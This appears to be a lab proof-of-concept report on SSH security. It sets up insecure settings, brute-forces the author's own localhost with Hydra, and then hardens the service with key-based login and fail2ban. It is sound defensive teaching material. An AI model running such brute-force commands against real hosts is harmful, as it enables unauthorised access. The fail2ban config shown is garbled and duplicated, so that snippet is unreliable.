Proof Of Concept

Linux Security- Exploitation & Hardening

Task 2: Remote Access & SSH Hardening

1. Executive Summary

This PoC demonstrates the risks associated with insecure SSH configurations, such as allowing root login and password-based authentication. It includes enabling SSH, performing a brute-force attack, and then hardening the SSH configuration to prevent unauthorized access.

2. Objectives

- **Setup:** Enable SSH on a Linux machine, allow root login, and enable password authentication.
- **Exploit:** Perform a brute-force attack on SSH using tools like hydra or medusa.
- **Mitigation:** Disable root login, enable key-based authentication, and configure fail2ban to prevent brute-force attacks.

3. Setup

3.1. Enable SSH and Configure Insecure Settings

1. Start and Enable SSH Service:

```
(llamafart@ jaivanti)-[~]
$ sudo systemctl start ssh
[sudo] password for llamafart:

(llamafart@ jaivanti)-[~]
$ sudo systemctl enable ssh
Synchronizing state of ssh.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable ssh
```

2. Edit SSH Configuration to allow root login and password authentication:

Open the SSH configuration file:

```
(llamafart@jaivanti)-[~]
$ sudo nano /etc/ssh/sshd_config

(llamafart@jaivanti)-[~]
$ sudo systemctl restart ssh
```

Modify the following lines:

```
#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#PubkeyAuthentication yes
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile
                       .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication yes
#PermitEmptyPasswords no
```

4. Exploitation

- 4.1. Perform a Brute-Force Attack Using Hydra
 - 1. Create a Wordlist & Run Hydra to Brute-Force SSH:

```
(llamafart@ jaivanti)-[~]
$ nano wordlist.txt

(llamafart@ jaivanti)-[~]
$ hydra -L wordlist.txt -P wordlist.txt ssh://localhost
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-11 22:09:33
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tas
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking ssh://localhost:22/
[22][ssh] host: localhost login:
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-11 22:09:37
```

5. Mitigation

- 5.1. Disable Root Login and Password Authentication
 - 1. Edit SSH Configuration:

Open the SSH configuration file and modify the following lines:

```
#LoginGraceTime 2m
PermitRootLogin no
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
#PermitEmptyPasswords no
```

Save and exit the file, then restart the SSH service:

```
(llamafart@jaivanti)-[~]

$ sudo nano /etc/ssh/sshd_config
[sudo] password for llamafart:

(llamafart@jaivanti)-[~]

$ sudo systemctl restart ssh
```

5.2. Enable Key-Based Authentication

1. Generate SSH Keys (on the client machine):

```
—(llamafart⊛jaivanti)-[~]
 —$ ssh-keygen −t rsa −b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/llamafart/.ssh/id_rsa): urmom
Enter passphrase for "urmom" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in urmom
Your public key has been saved in urmom.pub
The key fingerprint is:
                                              llamafart@jaivanti
SHA256:
The key's randomart image is:
+---[RSA 4096]----+
1..0
         .0.
|o= o
         +00
|=E
|= .+ 0..0.=
|0 . *0 +S B .
 . *. 0 =
 . 0 + ..0
 . * +. 0.
  +0+ .0.0
  ---[SHA256]---
```

2. Copy the Public Key to the Server:

5.3. Configure Fail2Ban to Prevent Brute-Force Attacks

1. Install Fail2Ban & Configure Fail2Ban for SSH:

Create a local configuration file:

```
(llamafart@jaivanti)-[~]

$ sudo apt install fail2ban -y
fail2ban is already the newest version (1.1.0-7).

Summary:

Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 1048

(llamafart@jaivanti)-[~]

$ sudo nano /etc/fail2ban/jail.local
```

Add the following lines:

```
GNU nano 8.2 /etc/fail2ban/jail.local *

[sshd]
[sshd]
[enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
ehabled = true
maxretry = 3
bantime = 600
```

Save and exit the file, then restart Fail2Ban:

```
(llamafart@jaivanti)-[~]
$\sum_$ \sum_$ systemctl restart fail2ban
```

2. Verify Fail2Ban Status:

```
(llamafart® jaivanti)-[~]
$ ssh llamafart@localhost
Linux jaivanti 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 11 12:50:45 2025 from 10.12.8.147

(llamafart® jaivanti)-[~]
$ ssh root@localhost
root@localhost: Permission denied (publickey).
```

6. Conclusion:

This PoC successfully demonstrated the risks of insecure SSH configurations and the effectiveness of hardening measures. By disabling root login, enforcing key-based authentication, and preventing brute-force attacks, the SSH service was secured